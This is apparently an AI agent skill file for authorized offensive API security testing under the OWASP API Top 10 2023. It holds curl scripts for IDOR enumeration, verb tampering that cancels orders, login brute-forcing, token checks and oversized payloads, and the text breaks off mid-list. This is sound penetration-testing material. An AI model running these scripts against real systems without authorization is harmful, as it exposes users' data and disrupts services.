offensive-api-security

# Offensive API Security Testing

You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.

## Quick Workflow

1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.
5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.
6. Assess rate limiting and resource consumption controls.
7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.
9. Check for SSRF via URL-accepting parameters and webhook configurations.
10. Document findings with reproduction steps and severity ratings.

---

## OWASP API Top 10 2023 -- BOLA and IDOR

Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.

```http
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
```

Replay with a different user ID while retaining the original token:

```http
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
```

Automate IDOR testing across sequential and UUID-based identifiers:

```bash
# Sequential ID enumeration
for id in $(seq 1000 1050); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/users/${id}/orders")
  echo "ID: ${id} -> HTTP ${status}"
done
```

```bash
# Test with collected UUIDs from other endpoints
while read -r uuid; do
  resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/documents/${uuid}")
  echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
```

Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:

```bash
for method in GET PUT PATCH DELETE; do
  curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
    -X "${method}" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    -d '{"status":"cancelled"}' \
    "https://target.example.com/api/v1/users/1002/orders/5001"
done
```

---

## Broken Authentication and Excessive Data Exposure

Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.

```bash
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
    "https://target.example.com/api/v1/auth/login")
  echo "Attempt ${i}: HTTP ${code}"
  [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
```

Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:

```bash
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/me" | jq .
```

Test token validation weaknesses:

```bash
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
  -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/v1/users/me"

curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
  -H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
  "https://target.example.com/api/v1/users/me"

for val in "" "null" "undefined" "Bearer" "Bearer "; do
  curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
    -H "Authorization: ${val}" \
    "https://target.example.com/api/v1/users/me"
done
```

---

## Rate Limiting and Resource Consumption

Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.

```bash
# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
  curl -s -D - -o /dev/null \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/search?q=test" 2>&1 | \
    grep -iE "x-rate|retry-after|x-ratelimit"
  sleep 0.1
done
```

```bash
# Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'

python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
  -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -d @- \
  "https://target.example.com/api/v1/products"
```

---

## BFLA and Mass Assignment

Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.

```bash
# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
  "GET /api/v1/admin/users"
  "POST /api/v1/admin/users"
  "DELETE /api/v1/admin/users/1001"
  "GET /ap